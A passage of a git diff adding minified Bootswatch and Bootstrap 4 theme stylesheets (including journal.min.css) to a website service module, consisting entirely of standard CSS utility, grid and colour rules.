!important}.m-xl-3{margin:1rem !important}.mt-xl-3,.my-xl-3{margin-top:1rem !important}.mr-xl-3,.mx-xl-3{margin-right:1rem !important}.mb-xl-3,.my-xl-3{margin-bottom:1rem !important}.ml-xl-3,.mx-xl-3{margin-left:1rem !important}.m-xl-4{margin:1.5rem !important}.mt-xl-4,.my-xl-4{margin-top:1.5rem !important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem !important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem !important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem !important}.m-xl-5{margin:3rem !important}.mt-xl-5,.my-xl-5{margin-top:3rem !important}.mr-xl-5,.mx-xl-5{margin-right:3rem !important}.mb-xl-5,.my-xl-5{margin-bottom:3rem !important}.ml-xl-5,.mx-xl-5{margin-left:3rem !important}.p-xl-0{padding:0 !important}.pt-xl-0,.py-xl-0{padding-top:0 !important}.pr-xl-0,.px-xl-0{padding-right:0 !important}.pb-xl-0,.py-xl-0{padding-bottom:0 !important}.pl-xl-0,.px-xl-0{padding-left:0 !important}.p-xl-1{padding:0.25rem !important}.pt-xl-1,.py-xl-1{padding-top:0.25rem !important}.pr-xl-1,.px-xl-1{padding-right:0.25rem !important}.pb-xl-1,.py-xl-1{padding-bottom:0.25rem !important}.pl-xl-1,.px-xl-1{padding-left:0.25rem !important}.p-xl-2{padding:0.5rem !important}.pt-xl-2,.py-xl-2{padding-top:0.5rem !important}.pr-xl-2,.px-xl-2{padding-right:0.5rem !important}.pb-xl-2,.py-xl-2{padding-bottom:0.5rem !important}.pl-xl-2,.px-xl-2{padding-left:0.5rem !important}.p-xl-3{padding:1rem !important}.pt-xl-3,.py-xl-3{padding-top:1rem !important}.pr-xl-3,.px-xl-3{padding-right:1rem !important}.pb-xl-3,.py-xl-3{padding-bottom:1rem !important}.pl-xl-3,.px-xl-3{padding-left:1rem !important}.p-xl-4{padding:1.5rem !important}.pt-xl-4,.py-xl-4{padding-top:1.5rem !important}.pr-xl-4,.px-xl-4{padding-right:1.5rem !important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem !important}.pl-xl-4,.px-xl-4{padding-left:1.5rem !important}.p-xl-5{padding:3rem !important}.pt-xl-5,.py-xl-5{padding-top:3rem !important}.pr-xl-5,.px-xl-5{padding-right:3rem !important}.pb-xl-5,.py-xl-5{padding-bottom:3rem !important}.pl-xl-5,.px-xl-5{padding-left:3rem !important}.m-xl-auto{margin:auto !important}.mt-xl-auto,.my-xl-auto{margin-top:auto !important}.mr-xl-auto,.mx-xl-auto{margin-right:auto !important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto !important}.ml-xl-auto,.mx-xl-auto{margin-left:auto !important}}.text-justify{text-align:justify !important}.text-nowrap{white-space:nowrap !important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left !important}.text-right{text-align:right !important}.text-center{text-align:center !important}@media (min-width: 576px){.text-sm-left{text-align:left !important}.text-sm-right{text-align:right !important}.text-sm-center{text-align:center !important}}@media (min-width: 768px){.text-md-left{text-align:left !important}.text-md-right{text-align:right !important}.text-md-center{text-align:center !important}}@media (min-width: 992px){.text-lg-left{text-align:left !important}.text-lg-right{text-align:right !important}.text-lg-center{text-align:center !important}}@media (min-width: 1200px){.text-xl-left{text-align:left !important}.text-xl-right{text-align:right !important}.text-xl-center{text-align:center !important}}.text-lowercase{text-transform:lowercase !important}.text-uppercase{text-transform:uppercase !important}.text-capitalize{text-transform:capitalize !important}.font-weight-light{font-weight:300 !important}.font-weight-normal{font-weight:400 !important}.font-weight-bold{font-weight:700 !important}.font-italic{font-style:italic !important}.text-white{color:#fff !important}.text-primary{color:#2A9FD6 !important}a.text-primary:hover,a.text-primary:focus{color:#2180ac !important}.text-secondary{color:#555 !important}a.text-secondary:hover,a.text-secondary:focus{color:#3c3b3b !important}.text-success{color:#77B300 !important}a.text-success:hover,a.text-success:focus{color:#558000 !important}.text-info{color:#9933CC !important}a.text-info:hover,a.text-info:focus{color:#7a29a3 !important}.text-warning{color:#FF8800 !important}a.text-warning:hover,a.text-warning:focus{color:#cc6d00 !important}.text-danger{color:#CC0000 !important}a.text-danger:hover,a.text-danger:focus{color:#990000 !important}.text-light{color:#f8f9fa !important}a.text-light:hover,a.text-light:focus{color:#dae0e5 !important}.text-dark{color:#222 !important}a.text-dark:hover,a.text-dark:focus{color:#090808 !important}.text-muted{color:#555 !important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.visible{visibility:visible !important}.invisible{visibility:hidden !important}@media print{*,*::before,*::after{text-shadow:none !important;-webkit-box-shadow:none !important;box-shadow:none !important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap !important}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px !important}.container{min-width:992px !important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered th,.table-bordered td{border:1px solid #ddd !important}}.navbar.bg-primary{border:1px solid #282828}.navbar.bg-dark{background-color:#060606 !important;border:1px solid #282828}.navbar.bg-light{background-color:#888 !important}.navbar.fixed-top{border-width:0 0 1px 0}.navbar.fixed-bottom{border-width:1px 0 0 0}.btn-warning,.btn-warning:hover{color:#fff}table{color:#fff}.table .thead-dark th{color:#fff}.table-success,.table-success>th,.table-success>td{background-color:#77B300}.table-info,.table-info>th,.table-info>td{background-color:#9933CC}.table-danger,.table-danger>th,.table-danger>td{background-color:#CC0000}.table-warning,.table-warning>th,.table-warning>td{background-color:#FF8800}.table-hover .table-success:hover,.table-hover .table-success:hover>th,.table-hover .table-success:hover>td{background-color:#669a00}.table-hover .table-info:hover,.table-hover .table-info:hover>th,.table-hover .table-info:hover>td{background-color:#8a2eb8}.table-hover .table-danger:hover,.table-hover .table-danger:hover>th,.table-hover .table-danger:hover>td{background-color:#b30000}.table-hover .table-warning:hover,.table-hover .table-warning:hover>th,.table-hover .table-warning:hover>td{background-color:#e67a00}legend,.input-group-addon{color:#fff}.nav-tabs .nav-link,.nav-pills .nav-link{color:#fff}.nav-tabs .nav-link:hover,.nav-pills .nav-link:hover{background-color:#282828}.nav-tabs .nav-link.disabled,.nav-tabs .nav-link.disabled:hover,.nav-pills .nav-link.disabled,.nav-pills .nav-link.disabled:hover{background-color:transparent;color:#555}.nav-tabs .nav-link.active,.nav-pills .nav-link.active{background-color:#2A9FD6}.breadcrumb a{color:#fff}.pagination a:hover{text-decoration:none}.alert{border:none;color:#fff}.alert a,.alert .alert-link{color:#fff;text-decoration:underline}.alert-primary{background-color:#2A9FD6}.alert-secondary{background-color:#555}.alert-success{background-color:#77B300}.alert-info{background-color:#9933CC}.alert-warning{background-color:#FF8800}.alert-danger{background-color:#CC0000}.alert-light{background-color:#f8f9fa}.alert-dark{background-color:#222}.alert-light,.alert-light a,.alert-light .alert-link{color:#060606}.badge-warning{color:#fff}.close{opacity:0.6}.close:hover{opacity:1}.list-group-item:hover{background-color:#282828;color:#fff}.list-group-item-action{color:#888}.list-group-item-action .list-group-item-heading{color:#888}.list-group-item:hover .list-group-item-heading{color:#fff}.card h1,.card h2,.card h3,.card h4,.card h5,.card h6,.list-group-item h1,.list-group-item h2,.list-group-item h3,.list-group-item h4,.list-group-item h5,.list-group-item h6{color:inherit}.popover-title{border-bottom:none} diff --git a/modules/services/unix/http/parameterised_website/files/themes/journal.min.css b/modules/services/unix/http/parameterised_website/files/themes/journal.min.css new file mode 100644 index 000000000..b77b75c42 --- /dev/null +++ b/modules/services/unix/http/parameterised_website/files/themes/journal.min.css @@ -0,0 +1,12 @@ +/*! + * Bootswatch v4.0.0 + * Homepage: https://bootswatch.com + * Copyright 2012-2018 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*//*! + * Bootstrap v4.0.0 (https://getbootstrap.com) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */@import url("https://fonts.googleapis.com/css?family=News+Cycle:400,700");:root{--blue:#EB6864;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#F57A00;--orange:#fd7e14;--yellow:#F5E625;--green:#22B24C;--teal:#20c997;--cyan:#369;--white:#fff;--gray:#777;--gray-dark:#333;--primary:#EB6864;--secondary:#aaa;--success:#22B24C;--info:#369;--warning:#F5E625;--danger:#F57A00;--light:#f8f9fa;--dark:#222;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";--font-family-monospace:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}*,*::before,*::after{-webkit-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#222;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0 !important}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0.5rem}p{margin-top:0;margin-bottom:1rem}abbr[title],abbr[data-original-title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul,dl{margin-top:0;margin-bottom:1rem}ol ol,ul ul,ol ul,ul ol{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#EB6864;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#e22620;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):hover,a:not([href]):not([tabindex]):focus{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}pre,code,kbd,samp{font-family:monospace, monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:0.75rem;padding-bottom:0.75rem;color:#777;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}input,button,select,optgroup,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{padding:0;border-style:none}input[type="radio"],input[type="checkbox"]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{outline-offset:-2px;-webkit-appearance:none}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none !important}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{margin-bottom:0.5rem;font-family:"News Cycle", "Arial Narrow Bold", sans-serif;font-weight:700;line-height:1.1;color:inherit}h1,.h1{font-size:2.5rem}h2,.h2{font-size:2rem}h3,.h3{font-size:1.75rem}h4,.h4{font-size:1.5rem}h5,.h5{font-size:1.25rem}h6,.h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.1}.display-2{font-size:5.5rem;font-weight:300;line-height:1.1}.display-3{font-size:4.5rem;font-weight:300;line-height:1.1}.display-4{font-size:3.5rem;font-weight:300;line-height:1.1}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,0.1)}small,.small{font-size:80%;font-weight:400}mark,.mark{padding:0.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:0.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#777}.blockquote-footer::before{content:"\2014 \00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:0.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:0.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:0.5rem;line-height:1}.figure-caption{font-size:90%;color:#777}code,kbd,pre,samp{font-family:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:0.2rem 0.4rem;font-size:87.5%;color:#fff;background-color:#222;border-radius:0.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#222}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width: 576px){.container{max-width:540px}}@media (min-width: 768px){.container{max-width:720px}}@media (min-width: 992px){.container{max-width:960px}}@media (min-width: 1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*="col-"]{padding-right:0;padding-left:0}.col-1,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-10,.col-11,.col-12,.col,.col-auto,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm,.col-sm-auto,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-md,.col-md-auto,.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg,.col-lg-auto,.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.3333333333%}.offset-2{margin-left:16.6666666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.3333333333%}.offset-5{margin-left:41.6666666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.3333333333%}.offset-8{margin-left:66.6666666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.3333333333%}.offset-11{margin-left:91.6666666667%}@media (min-width: 576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-sm-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-sm-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-sm-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-sm-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-sm-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-sm-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-sm-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-sm-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-sm-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-sm-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-sm-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-sm-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-sm-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-sm-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-sm-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-sm-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-sm-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-sm-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-sm-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.3333333333%}.offset-sm-2{margin-left:16.6666666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.3333333333%}.offset-sm-5{margin-left:41.6666666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.3333333333%}.offset-sm-8{margin-left:66.6666666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.3333333333%}.offset-sm-11{margin-left:91.6666666667%}}@media (min-width: 768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-md-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-md-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-md-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-md-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-md-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-md-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-md-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-md-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-md-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-md-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-md-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-md-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-md-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-md-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-md-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-md-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-md-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-md-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-md-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-md-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.3333333333%}.offset-md-2{margin-left:16.6666666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.3333333333%}.offset-md-5{margin-left:41.6666666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.3333333333%}.offset-md-8{margin-left:66.6666666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.3333333333%}.offset-md-11{margin-left:91.6666666667%}}@media (min-width: 992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-lg-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-lg-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-lg-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-lg-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-lg-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-lg-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-lg-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-lg-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-lg-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-lg-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-lg-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-lg-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-lg-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-lg-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-lg-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-lg-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-lg-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-lg-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-lg-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.3333333333%}.offset-lg-2{margin-left:16.6666666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.3333333333%}.offset-lg-5{margin-left:41.6666666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.3333333333%}.offset-lg-8{margin-left:66.6666666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.3333333333%}.offset-lg-11{margin-left:91.6666666667%}}@media (min-width: 1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-xl-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 